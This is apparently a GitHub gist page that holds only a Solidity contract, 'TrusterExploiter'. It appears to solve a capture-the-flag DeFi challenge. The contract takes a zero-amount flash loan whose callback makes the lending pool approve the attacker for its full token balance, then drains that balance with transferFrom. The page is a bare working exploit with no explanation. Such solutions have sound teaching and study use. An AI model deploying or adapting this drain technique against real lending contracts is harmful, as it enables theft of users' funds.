Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
contract TrusterExploiter {
TrusterLenderPool public immutable pool;
IERC20 public immutable token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}
function attack() external {
uint256 poolBalance = token.balanceOf(address(pool));
pool.flashLoan(
0,
msg.sender,
address(token),
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
poolBalance
)
);
token.transferFrom(address(pool), msg.sender, poolBalance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment